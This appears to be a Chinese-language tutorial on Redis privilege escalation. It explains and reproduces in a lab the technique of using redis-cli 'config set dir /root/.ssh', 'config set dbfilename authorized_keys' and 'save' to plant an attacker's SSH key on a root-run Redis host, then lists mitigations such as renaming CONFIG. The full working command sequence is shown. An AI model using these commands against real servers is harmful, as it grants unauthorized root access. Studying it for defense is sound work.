redis提权
原理
1./root/.ssh/authorized_keys(ssh认证密钥存放目录)按照行读写只需将密钥写入改文件 即可通过你的key登录
2.redis保存数据value部分为明文
3.redis可以通过命令设置数据保存目录及保存数据的名字
4.我们则可以将密钥保存为一个key的value让后将数据保存至/root/.ssh/authorized_keys 即可实现登录
必要条件
1.因为主要依赖redis的保存数据的功能 所以redis的权限要足够(root权限)
2.只有redis是否有密码 bind是否安全都可以使用
验证测试
安装一个redis
yum install redis -y
更改redis启动用户为root
vim /usr/lib/systemd/system/redis.service
[Unit]
Description=Redis persistent key-value database
After=network.target
After=network-online.target
Wants=network-online.target
[Service]
ExecStart=/usr/bin/redis-server /etc/redis.conf --supervised systemd
ExecStop=/usr/libexec/redis-shutdown
Type=notify
User=root #更改用户 和用户组为root
Group=root
RuntimeDirectory=redis
RuntimeDirectoryMode=0755
[Install]
WantedBy=multi-user.target
设置设置redis的value值
# 因为默认redis保存 key和value是在同一行 我们这里加入换行符让我们的密钥可读
(echo -e "\n\n"; cat younglinuxer.pub; echo "\n\n") > pub.key
设置redis的key
# 123456是redis密码 ssh为redis设置 的键值
cat pub.key | redis-cli -h 192.168.71.136 -a123456 -x set ssh
设置redis保存数据
redis-cli -a 123456 -h 192.168.71.136 #登录到redis
config set dir /root/.ssh # 设置数据保存目录
config set dbfilename "authorized_keys" # 设置数据保存目录
save # 保存
查看保存得数据
cat /root/.ssh/authorized_keys
REDIS0007 redis-ver3.2.12
redis-bitse-Pused-mem`i
þ𠠡aaB
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAwQ2VZqXhUR9P+qwAI5x2fjbfvY/t9I+0rxsjaeRZHmcxxGqF3448qNZB+M5ha/FOw1bdklS6l4QAuxIf9rnIqRqMCbnl7mq813aQ4kVQIArAdSBJuQ8rmjwKLGd/ON37QwLvMwndyrfCV+JHSe/PuVpl+LcrgyaYI80kR17uPZO7V+piOa0ATBganHV+Y07u25/eM+2XEVftJ+uBAWRBLBKwlbJAZc3CotHHuwmbgGBGqKi5lU+NTmx9WpYi9zpyWwZ3BYEYTtNPOAjBVJxzE9WWY+NMTsTwlMUiJBf8JJtgMz41QUHYLvYE76IIyOhANwDcdtixKAHitN5w6X30E2/aMZr65bUqILNtSvZ5CfEzwOMQsN4vcWK9xsYieRIX4UPa1B+vphPFcVsE8oNAQGqXIrwz+Hg/iuRe0vtgPIFhXRKh/uK0xmmZ/U0tNKYFvXMb2UrAakuAIQ2S841UZ5zqZRJLxzIUc+2L10PNvhqGrA1n2AD8zexIO2gUSQJVs8+kCefEZeAbQVm90zzgswIzUU3+1SZiw/8LlvmO9wIFtfzm1z57YEjXmGoafx1mJlyU878g+//4TkJz2zzLQ67Qlu403JgLU5A+5yvNtDADJ142imW3DTt9xO8DL1BcmPHyuW+ThcK+4iIBLL69vOkGtMdez/EUH/LFFOAbl/0= OpenSSH-rsa-import-060721
\n\n
ÿ?0b!
最后用自己的密钥登录 即可
防范
主要操作基于redis可以设置数据目录
1.不要使用普通用户及root启动redis一般yum安装的都指定redis用户启动了 但是编译安装就需要注意了
2.禁止config命令 rename-command CONFIG ""
Interesting information